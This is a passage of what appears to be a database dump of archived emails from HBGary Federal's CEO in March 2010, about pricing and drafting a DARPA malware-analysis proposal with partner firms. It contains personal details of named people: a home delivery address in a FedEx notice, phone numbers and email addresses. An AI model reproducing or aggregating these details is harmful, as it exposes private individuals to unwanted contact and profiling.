03/26/10\r\n15:33:00\r\n\r\n',5082,'aaron_hbgary_com/5082.html'),(4669,'2010-03-27','TrackingUpdates@fedex.com','/aaron@hbgary.com/new/1297002814.M134732P3547Q4669.eml','aaron@hbgary.com','FedEx Shipment 793391614366 Delivered','________________________________________________________________________________ This tracking update has been requested by:  Company Name:SRI InternationalName:Lori TruittE-mail:lori.truitt@sri.com________________________________________________________________________________  Our records indicate that the following  shipment has been delivered: Reference:W81L7T  1.474Ship (P/U) date:Mar 26, 2010Delivery date:Mar 27, 2010 10:34 AMSign for by:Signature not requiredDelivered to:ResidenceService type:FedEx Priority OvernightPackaging type:FedEx BoxNumber of pieces:1Weight:3.00 lb.Special handling/Services:Residential DeliveryFor Saturday Delivery Tracking number:793391614366  Shipper InformationLori TruittSRI International333 Ravenswood Ave.Menlo ParkCAUS94025Recipient InformationAaron Barr1223 POTOMAC SCHOOL RDMC LEANVAUS22101 Please do not respond to this message. This email was sent from an unattendedmailbox. This report was generated at approximately 9:39 AM  CDTon 03/27/2010. Learn more about new ways to track with FedEx. All weights are estimated. To track the latest status of your shipment, click on the tracking number above,or visit us at fedex.com. This tracking update has been sent to you by FedEx on the behalf of theRequestor noted above. FedEx does not validate the authenticity of therequestor and does not validate, guarantee or warrant the authenticity of therequest, the requestor\'s message, or the accuracy of this tracking update. Fortracking results and fedex.com\'s terms of use, go to fedex.com. Thank you for your business. ',5984,'aaron_hbgary_com/5984.html'),(4670,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002814.M368792P3547Q4670.eml','\"Aaron Barr\" <aaron@hbgary.com>','BOE Example','We estimate the program management activities to require 368 hours based\r\nupon the following:\r\n\r\nActivity				Hours		\r\nTeam Kickoff Meeting		16\r\nDARPA Kickoff Workshop		16\r\nPeriod 1a QTR Review 1		32\r\nPeriod 1a QTR Review 2		32\r\nPeriod 1a QTR Review 3		32\r\nPeriod 1a QTR Review 4		32\r\nMonthly Reports			2\r\nDeliverables Review		8\r\nWeekly TIMs			52\r\nManagement Meetings		146 (~3hrs per week)\r\nTotal:				368\r\n\r\n\r\n',4308,'aaron_hbgary_com/4308.html'),(4671,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002821.M105771P3547Q4671.eml','\"Barr Aaron\" <aaron@hbgary.com>','BOE','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11058,'aaron_hbgary_com/11058.html'),(4672,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002822.M896816P3547Q4672.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','BOE','I finished the TA 1 BOEs.  They\'re rough, and the ones that we\'re\r\nleading need some beefing up.\r\n',10345,'aaron_hbgary_com/10345.html'),(4673,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002823.M147936P3547Q4673.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','spreadsheet','\r\n\r\nBob,Here are the values by year, roughly. &nbsp;Can you plug in some hours into your pricing spreadsheet to back into these numbers? &nbsp;Remember you tasks are to help out with traits year 1 and 2. &nbsp;Help out with Genomes year 2 and 3. &nbsp;And build Smart year 2 and 3.\r\n \r\n  Company\r\n  \r\n  Phase 1a\r\n  \r\n  Phase 1b\r\n  \r\n  Phase 2a\r\n  \r\n  Phase 2b\r\n  \r\n  Total\r\n  \r\n \r\n \r\n  HBGary\r\n  Federal\r\n  \r\n  $500,000\r\n  \r\n  $500,000\r\n  \r\n  $500,000\r\n  \r\n  $500,000\r\n  \r\n  $2,000,000\r\n  \r\n \r\n \r\n  HBGary\r\n  \r\n  $300,000\r\n  \r\n  $400,000\r\n  \r\n  $400,000\r\n  \r\n  $400,000\r\n  \r\n  $1,500,000\r\n  \r\n \r\n \r\n  Pikewerks\r\n  \r\n  $516,168\r\n  \r\n  $532,654\r\n  \r\n  $548,070\r\n  \r\n  $386,862\r\n  \r\n  $1983,753\r\n  \r\n \r\n \r\n  SRI\r\n  \r\n  $499,997\r\n  \r\n  $499,925\r\n  \r\n  $543,018\r\n  \r\n  $557,007\r\n  \r\n  $2,099,947\r\n  \r\n \r\n \r\n  Secure\r\n  Decisions\r\n  \r\n  $435,937\r\n  \r\n  $465,727\r\n  \r\n  $0\r\n  \r\n  $0\r\n  \r\n  $801,664\r\n  \r\n \r\n \r\n  General\r\n  Dynamics\r\n  \r\n  $176,971\r\n  \r\n  $188,470\r\n  \r\n  $166,180\r\n  \r\n  $170,920\r\n  \r\n  $702,541\r\n  \r\n \r\n \r\n  Total\r\n  \r\n  &nbsp;=SUM(ABOVE) $2,429,073.00\r\n  \r\n  &nbsp;=SUM(ABOVE) $2,586,776.00\r\n  \r\n  &nbsp;=SUM(ABOVE) $2,157,268.00\r\n  \r\n  &nbsp;=SUM(ABOVE) $2,014,789.00\r\n  \r\n  &nbsp;=SUM(ABOVE) $9,087,905.00\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',348,'aaron_hbgary_com/348.html'),(4674,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002827.M382993P3547Q4674.eml','\"Aaron Barr\" <aaron@hbgary.com>','TA1 Final Pricing','Attached\r\n\r\n',10655,'aaron_hbgary_com/10655.html'),(4675,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002834.M521063P3547Q4675.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Bob red teaming efforts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI made many comments and only a few edits.&nbsp; I also\r\nhighlighted in yellow content that has to be removed or rewritten.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m going to have lunch now and come back a bit later.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11736,'aaron_hbgary_com/11736.html'),(4676,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002834.M870491P3547Q4676.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: spreadsheet','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI see $2M for SRI.&nbsp; Not true, right?&nbsp; It bugs me that Pikewerks\r\ngets more $$ than HBGary, Inc. but I guess that is a function of Greg&#8217;s\r\nreluctance to embrace this money source.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 12:04 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: spreadsheet\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere are the values by year,\r\nroughly. &nbsp;Can you plug in some hours into your pricing spreadsheet to back\r\ninto these numbers? &nbsp;Remember you tasks are to help out with traits year 1\r\nand 2. &nbsp;Help out with Genomes year 2 and 3. &nbsp;And build Smart year 2\r\nand 3.\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Company\r\n  \r\n  \r\n  Phase 1a\r\n  \r\n  \r\n  Phase 1b\r\n  \r\n  \r\n  Phase 2a\r\n  \r\n  \r\n  Phase 2b\r\n  \r\n  \r\n  Total\r\n  \r\n \r\n \r\n  \r\n  HBGary Federal\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $2,000,000\r\n  \r\n \r\n \r\n  \r\n  HBGary\r\n  \r\n  \r\n  $300,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $1,500,000\r\n  \r\n \r\n \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  $516,168\r\n  \r\n  \r\n  $532,654\r\n  \r\n  \r\n  $548,070\r\n  \r\n  \r\n  $386,862\r\n  \r\n  \r\n  $1983,753\r\n  \r\n \r\n \r\n  \r\n  SRI\r\n  \r\n  \r\n  $499,997\r\n  \r\n  \r\n  $499,925\r\n  \r\n  \r\n  $543,018\r\n  \r\n  \r\n  $557,007\r\n  \r\n  \r\n  $2,099,947\r\n  \r\n \r\n \r\n  \r\n  Secure Decisions\r\n  \r\n  \r\n  $435,937\r\n  \r\n  \r\n  $465,727\r\n  \r\n  \r\n  $0\r\n  \r\n  \r\n  $0\r\n  \r\n  \r\n  $801,664\r\n  \r\n \r\n \r\n  \r\n  General Dynamics\r\n  \r\n  \r\n  $176,971\r\n  \r\n  \r\n  $188,470\r\n  \r\n  \r\n  $166,180\r\n  \r\n  \r\n  $170,920\r\n  \r\n  \r\n  $702,541\r\n  \r\n \r\n \r\n  \r\n  Total\r\n  \r\n  \r\n  $2,429,073.00\r\n  \r\n  \r\n  $2,586,776.00\r\n  \r\n  \r\n  $2,157,268.00\r\n  \r\n  \r\n  $2,014,789.00\r\n  \r\n  \r\n  $9,087,905.00\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8137,'aaron_hbgary_com/8137.html'),(4677,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002840.M411911P3547Q4677.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','latest Document','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16467,'aaron_hbgary_com/16467.html'),(4678,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002840.M811605P3547Q4678.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Little bit longer','Still working some of the areas...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2614,'aaron_hbgary_com/2614.html'),(4679,'2010-03-27','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002841.M26019P3547Q4679.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Little bit longer','No worries.  I&#39;ll grab lunch.On Sat, Mar 27, 2010 at 2:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nStill working some of the areas...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',1244,'aaron_hbgary_com/1244.html'),(4680,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002841.M260715P3547Q4680.eml','\"Bob Slapnik\" <bob@hbgary.com>','','Phil Porras \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2652,'aaron_hbgary_com/2652.html'),(4681,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002841.M470905P3547Q4681.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE:','Do you have his phone number?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 3:17 PM\r\nTo: Bob Slapnik\r\nSubject: \r\n\r\nPhil Porras \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n\r\n',8295,'aaron_hbgary_com/8295.html'),(4682,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002841.M680602P3547Q4682.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: RE:','only work #.\r\n\r\nOn Mar 27, 2010, at 3:22 PM, Bob Slapnik wrote:\r\n\r\n> Do you have his phone number?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 3:17 PM\r\n> To: Bob Slapnik\r\n> Subject: \r\n> \r\n> Phil Porras \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3174,'aaron_hbgary_com/3174.html'),(4683,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002841.M869684P3547Q4683.eml','porras@csl.sri.com,porras@csl.sri.com','Need some input from you for DARPA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil,\r\n\r\n&nbsp;\r\n\r\nListed below is the content we currently have for SRI&#8217;s\r\nwork in the innovative claims section of the TA3 proposal.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Research\r\n  Area\r\n  \r\n  \r\n  Innovative\r\n  Claim\r\n  \r\n  \r\n  State-of-the-Art\r\n  \r\n \r\n \r\n  \r\n  Specimen\r\n  Collection and Pre-Processing\r\n  \r\n  \r\n  The\r\n  most advanced binary unpacking and automated de-obfuscation system.\r\n  Self-evaluation metrics will allow it to iteratively detect and recover from\r\n  binary unpacking problems and avoid anti-reverse engineering\r\n  countermeasures&nbsp;&nbsp; It will incorporate snapshot-stitching techniques\r\n  to deal with multi-stage packers and block encryption.&nbsp; We will research\r\n  and develop automated ways to recognize obfuscated code and identify the\r\n  obfuscation steps employed to hinder automated analysis, then systematically\r\n  de-obfuscate to restore the binary to an equivalent but un-obfuscated form.\r\n  \r\n  \r\n  Current\r\n  de-obfuscation techniques are not fully automated, and cannot resolve APIs\r\n  automatically, nor reliably auto-discover the original entry point.&nbsp;\r\n  They cannot deal with block encryption or code segmentation.&nbsp; Current\r\n  binary unpacking systems are tuned toward static disassembly and\r\n  analysis.&nbsp; These systems yield a disassembled approximation of the\r\n  binary that does not support logic and data flow extraction through the\r\n  informed execution of malware.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThere seems to be a disconnect between the research area and\r\nthe text for innovative claim and state-of-the-art.&nbsp; Our approach in this\r\nproposal is primarily to run malware in an instrumented system to collect low\r\nlevel data from running binaries and reconstructed memory.&nbsp; By &#8220;pre-processing&#8221;\r\nwe mean that often we have to do something to the binary or to its setup\r\nenvironment to get it to execute.&nbsp; An example would be a pdf-based malware\r\nthat requires a particular version of Acrobat Reader to trigger the malware.&nbsp;\r\nYour content appears to discuss unpacking and de-obfuscation which would\r\ntypically used for traditional static analysis using IDA Pro.\r\n\r\n&nbsp;\r\n\r\nFor clarification sake, our proposal approach is that when\r\nthe malware runs it must unpack and decrypt itself in order for the CPU to use\r\nit.&nbsp; And since we will harvest all low level data at the CPU level we will\r\nget it unpacked and decrypted.\r\n\r\n&nbsp;\r\n\r\nThanks for helping us promptly.&nbsp; We are coming up on\r\nthe proposal deadline.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15126,'aaron_hbgary_com/15126.html'),(4684,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002842.M165466P3547Q4684.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: spreadsheet','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow is this?&nbsp; Ted had told me to front end load it.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 12:04 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: spreadsheet\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere are the values by year,\r\nroughly. &nbsp;Can you plug in some hours into your pricing spreadsheet to back\r\ninto these numbers? &nbsp;Remember you tasks are to help out with traits year 1\r\nand 2. &nbsp;Help out with Genomes year 2 and 3. &nbsp;And build Smart year 2\r\nand 3.\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Company\r\n  \r\n  \r\n  Phase 1a\r\n  \r\n  \r\n  Phase 1b\r\n  \r\n  \r\n  Phase 2a\r\n  \r\n  \r\n  Phase 2b\r\n  \r\n  \r\n  Total\r\n  \r\n \r\n \r\n  \r\n  HBGary Federal\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $500,000\r\n  \r\n  \r\n  $2,000,000\r\n  \r\n \r\n \r\n  \r\n  HBGary\r\n  \r\n  \r\n  $300,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $400,000\r\n  \r\n  \r\n  $1,500,000\r\n  \r\n \r\n \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  $516,168\r\n  \r\n  \r\n  $532,654\r\n  \r\n  \r\n  $548,070\r\n  \r\n  \r\n  $386,862\r\n  \r\n  \r\n  $1983,753\r\n  \r\n \r\n \r\n  \r\n  SRI\r\n  \r\n  \r\n  $499,997\r\n  \r\n  \r\n  $499,925\r\n  \r\n  \r\n  $543,018\r\n  \r\n  \r\n  $557,007\r\n  \r\n  \r\n  $2,099,947\r\n  \r\n \r\n \r\n  \r\n  Secure Decisions\r\n  \r\n  \r\n  $435,937\r\n  \r\n  \r\n  $465,727\r\n  \r\n  \r\n  $0\r\n  \r\n  \r\n  $0\r\n  \r\n  \r\n  $801,664\r\n  \r\n \r\n \r\n  \r\n  General Dynamics\r\n  \r\n  \r\n  $176,971\r\n  \r\n  \r\n  $188,470\r\n  \r\n  \r\n  $166,180\r\n  \r\n  \r\n  $170,920\r\n  \r\n  \r\n  $702,541\r\n  \r\n \r\n \r\n  \r\n  Total\r\n  \r\n  \r\n  $2,429,073.00\r\n  \r\n  \r\n  $2,586,776.00\r\n  \r\n  \r\n  $2,157,268.00\r\n  \r\n  \r\n  $2,014,789.00\r\n  \r\n  \r\n  $9,087,905.00\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11234,'aaron_hbgary_com/11234.html'),(4685,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002842.M382965P3547Q4685.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: spreadsheet','Sorry,\r\n\r\nI need you to get closer to the hours I listed, you can fudge them around a bit.  Ted was mistaken.  Darpa will front end load the contract but I don\'t think we want to front end load to much plus I have you doing all the AFR like stuff starting in year 2.  You can go 400, 300, 400, 400 if you want.  \r\n\r\nAaron\r\nOn Mar 27, 2010, at 4:08 PM, Bob Slapnik wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10415,'aaron_hbgary_com/10415.html'),(4686,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002848.M855124P3547Q4686.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Document','Not a ton of changes.  I implemented yours, moved some things around.  There are a few sections in the detailed approach that are different and some additions to II.C.  I am working on the metrics.\r\n\r\nWhere do you think I am weekest?  Other than metrics.  Am I grabbing the reader?  Am I making a convincing argument?\r\n\r\n',8496,'aaron_hbgary_com/8496.html'),(4687,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002852.M449986P3547Q4687.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','What I have so far.','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1563,'aaron_hbgary_com/1563.html'),(4688,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002856.M500561P3547Q4688.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Document so far','Boy this is fun.  I think Ted wants to run and hide... :)\r\n\r\n',15997,'aaron_hbgary_com/15997.html'),(4689,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002856.M866784P3547Q4689.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: What I have so far.','This is the same version you sent me early today, right?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 4:25 PM\r\nTo: Ted Vera; Bob Slapnik\r\nSubject: What I have so far.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n\r\n',3881,'aaron_hbgary_com/3881.html'),(4690,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002857.M275860P3547Q4691.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: spreadsheet','Revised spreadsheet.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 4:22 PM\r\nTo: Bob Slapnik\r\nSubject: Re: spreadsheet\r\n\r\nSorry,\r\n\r\nI need you to get closer to the hours I listed, you can fudge them around a\r\nbit.  Ted was mistaken.  Darpa will front end load the contract but I don\'t\r\nthink we want to front end load to much plus I have you doing all the AFR\r\nlike stuff starting in year 2.  You can go 400, 300, 400, 400 if you want.  \r\n\r\nAaron\r\nOn Mar 27, 2010, at 4:08 PM, Bob Slapnik wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n',2882,'aaron_hbgary_com/2882.html'),(4691,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002857.M607799P3547Q4692.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: spreadsheet','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Bob Slapnik\" \r\n> Date: March 27, 2010 4:54:24 PM EDT\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: RE: spreadsheet\r\n> \r\n> Revised spreadsheet.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 4:22 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: spreadsheet\r\n> \r\n> Sorry,\r\n> \r\n> I need you to get closer to the hours I listed, you can fudge them around a\r\n> bit.  Ted was mistaken.  Darpa will front end load the contract but I don\'t\r\n> think we want to front end load to much plus I have you doing all the AFR\r\n> like stuff starting in year 2.  You can go 400, 300, 400, 400 if you want.  \r\n> \r\n> Aaron\r\n> On Mar 27, 2010, at 4:08 PM, Bob Slapnik wrote:\r\n> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',687,'aaron_hbgary_com/687.html'),(4692,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002857.M68638P3547Q4690.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: What I have so far.','A little different...incorporated some changes and comments from Mike Toth.\r\n\r\nAaron\r\n\r\nOn Mar 27, 2010, at 4:44 PM, Bob Slapnik wrote:\r\n\r\n> This is the same version you sent me early today, right?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 4:25 PM\r\n> To: Ted Vera; Bob Slapnik\r\n> Subject: What I have so far.\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10808,'aaron_hbgary_com/10808.html'),(4693,'2010-03-27','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002857.M957187P3547Q4693.eml','\"Aaron Barr\" <aaron@hbgary.com>','Milestone and Task Figures','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Task\r\n  \r\n  \r\n  Phase IA\r\n  Metric\r\n  \r\n  \r\n  Phase IB\r\n  Metric\r\n  \r\n  \r\n  Phase\r\n  IIA Metric \r\n  \r\n  \r\n  Phase\r\n  IIB Metric\r\n  \r\n \r\n \r\n  \r\n  Correlation\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Heuristics\r\n  \r\n  \r\n  5%\r\n  reduction\r\n  \r\n  \r\n  50%\r\n  reduction\r\n  \r\n  \r\n  5X\r\n  reduction\r\n  \r\n  \r\n  20X\r\n  reduction\r\n  \r\n \r\n \r\n  \r\n  Statistical\r\n  Correlation \r\n  \r\n  \r\n  Identical\r\n  Correlation \r\n  \r\n  \r\n  5%&nbsp;\r\n  Compensation\r\n  \r\n  \r\n  20%\r\n  Compensation\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Bayesian\r\n  Correlation\r\n  \r\n  \r\n  Identical\r\n  Correlation \r\n  \r\n  \r\n  5%&nbsp;\r\n  Compensation\r\n  \r\n  \r\n  20%\r\n  Compensation\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Weighting\r\n  \r\n  \r\n  1% CG\r\n  weighted\r\n  \r\n  \r\n  3% CG\r\n  weighted\r\n  \r\n  \r\n  10% CG\r\n  weighted\r\n  \r\n  \r\n  20% CG\r\n  weighted\r\n  \r\n \r\n \r\n  \r\n  Mapping\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  